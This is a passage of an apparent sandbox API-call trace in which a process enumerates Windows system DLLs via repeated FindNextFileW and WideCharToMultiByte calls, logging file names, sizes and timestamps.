(in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVUT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVUT.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CATSRVUT.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.863] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ca9d39, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3ca9d39, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3ccfe99, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10400, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="cca.dll", cAlternateFileName="")) returned 1 [0040.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CCA.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0040.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CCA.DLL", cchWideChar=7, lpMultiByteStr=0x1d3c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CCA.DLL", lpUsedDefaultChar=0x0) returned 7 [0040.863] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ebf32f5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ebf32f5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ec19456, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc4a00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="cdosys.dll", cAlternateFileName="")) returned 1 [0040.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CDOSYS.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0040.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CDOSYS.DLL", cchWideChar=10, lpMultiByteStr=0x1d3c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CDOSYS.DLL", lpUsedDefaultChar=0x0) returned 10 [0040.863] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92e99b70, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92e99b70, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92ebfcd0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x53800, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="certcli.dll", cAlternateFileName="")) returned 1 [0040.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCLI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.863] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCLI.DLL", cchWideChar=11, lpMultiByteStr=0x1d3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTCLI.DLL", lpUsedDefaultChar=0x0) returned 11 [0040.864] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b996d79, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3b996d79, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82dbd4f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="certCredProvider.dll", cAlternateFileName="")) returned 1 [0040.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCREDPROVIDER.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0040.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCREDPROVIDER.DLL", cchWideChar=20, lpMultiByteStr=0x1d3c288, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTCREDPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 20 [0040.864] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e1331d6, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x4e1331d6, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82e08fe0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="certenc.dll", cAlternateFileName="")) returned 1 [0040.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENC.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENC.DLL", cchWideChar=11, lpMultiByteStr=0x1d3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTENC.DLL", lpUsedDefaultChar=0x0) returned 11 [0040.864] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b374845, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b374845, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b39a9a5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x145c00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="CertEnroll.dll", cAlternateFileName="")) returned 1 [0040.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLL.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0040.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLL.DLL", cchWideChar=14, lpMultiByteStr=0x1d3c288, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTENROLL.DLL", lpUsedDefaultChar=0x0) returned 14 [0040.864] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x587d3176, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x587d3176, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x82e08fe0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x42600, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="CertEnrollUI.dll", cAlternateFileName="")) returned 1 [0040.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLLUI.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0040.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLLUI.DLL", cchWideChar=16, lpMultiByteStr=0x1d3c120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTENROLLUI.DLL", lpUsedDefaultChar=0x0) returned 16 [0040.864] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83483244, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83483244, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x834a93a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17bc00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="certmgr.dll", cAlternateFileName="")) returned 1 [0040.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTMGR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTMGR.DLL", cchWideChar=11, lpMultiByteStr=0x1d3c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTMGR.DLL", lpUsedDefaultChar=0x0) returned 11 [0040.864] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92abb7a9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92abb7a9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92abb7a9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xfe00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="CertPolEng.dll", cAlternateFileName="")) returned 1 [0040.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTPOLENG.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0040.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTPOLENG.DLL", cchWideChar=14, lpMultiByteStr=0x1d3c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTPOLENG.DLL", lpUsedDefaultChar=0x0) returned 14 [0040.864] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf69d5a18, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xf69d5a18, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x83683670, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x33600, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="cewmdm.dll", cAlternateFileName="")) returned 1 [0040.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CEWMDM.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0040.864] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CEWMDM.DLL", cchWideChar=10, lpMultiByteStr=0x1d3c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CEWMDM.DLL", lpUsedDefaultChar=0x0) returned 10 [0040.864] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x582c16a8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x582c16a8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x83683670, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xbe00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="cfgbkend.dll", cAlternateFileName="")) returned 1 [0040.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGBKEND.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGBKEND.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CFGBKEND.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.865] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f01d97d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f01d97d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f01d97d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23a00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="cfgmgr32.dll", cAlternateFileName="")) returned 1 [0040.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGMGR32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGMGR32.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CFGMGR32.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.865] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa78861e5, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xa78861e5, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x975560e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x198400, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="chsbrkr.dll", cAlternateFileName="")) returned 1 [0040.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHSBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHSBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x1d3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHSBRKR.DLL", lpUsedDefaultChar=0x0) returned 11 [0040.865] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa83625fc, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xa83625fc, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x975560e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5d2000, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="chtbrkr.dll", cAlternateFileName="")) returned 1 [0040.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHTBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHTBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x1d3c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHTBRKR.DLL", lpUsedDefaultChar=0x0) returned 11 [0040.865] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bf222e7, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x4bf222e7, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x83f24e00, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="CHxReadingStringIME.dll", cAlternateFileName="")) returned 1 [0040.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHXREADINGSTRINGIME.DLL", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0040.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHXREADINGSTRINGIME.DLL", cchWideChar=23, lpMultiByteStr=0x1d3c120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHXREADINGSTRINGIME.DLL", lpUsedDefaultChar=0x0) returned 23 [0040.865] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc23aa496, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc23aa496, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x83fbc3e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a200, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="cic.dll", cAlternateFileName="")) returned 1 [0040.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CIC.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0040.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CIC.DLL", cchWideChar=7, lpMultiByteStr=0x1d3c288, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CIC.DLL", lpUsedDefaultChar=0x0) returned 7 [0040.865] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8a9ef7a, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xc8a9ef7a, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="clb.dll", cAlternateFileName="")) returned 1 [0040.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLB.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0040.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLB.DLL", cchWideChar=7, lpMultiByteStr=0x1d3c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLB.DLL", lpUsedDefaultChar=0x0) returned 7 [0040.865] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe661614e, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe661614e, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7f800, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="clbcatq.dll", cAlternateFileName="")) returned 1 [0040.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLBCATQ.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.865] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLBCATQ.DLL", cchWideChar=11, lpMultiByteStr=0x1d3c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLBCATQ.DLL", lpUsedDefaultChar=0x0) returned 11 [0040.866] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35259713, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x35259713, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x8426a470, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="clfsw32.dll", cAlternateFileName="")) returned 1 [0040.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLFSW32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLFSW32.DLL", cchWideChar=11, lpMultiByteStr=0x1d3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLFSW32.DLL", lpUsedDefaultChar=0x0) returned 11 [0040.866] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbee174b6, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xbee174b6, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x842b5f60, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15000, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="cliconfg.dll", cAlternateFileName="")) returned 1 [0040.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLICONFG.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLICONFG.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLICONFG.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.866] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92bec2ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92bec2ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92c1240c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38600, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="clusapi.dll", cAlternateFileName="")) returned 1 [0040.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLUSAPI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLUSAPI.DLL", cchWideChar=11, lpMultiByteStr=0x1d3c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLUSAPI.DLL", lpUsedDefaultChar=0x0) returned 11 [0040.866] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38fecc6d, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x38fecc6d, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x845fdce0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="cmcfg32.dll", cAlternateFileName="")) returned 1 [0040.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMCFG32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.866] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMCFG32.DLL", cchWideChar=11, lpMultiByteStr=0x1d3c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMCFG32.DLL", lpUsedDefaultChar=0x0) returned 11 [0040.866] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a9a99a0, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3a9a99a0, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8466e1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x76400, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="cmdial32.dll", cAlternateFileName="")) returned 1 [0040.866] WideCharToMultiByte (in: 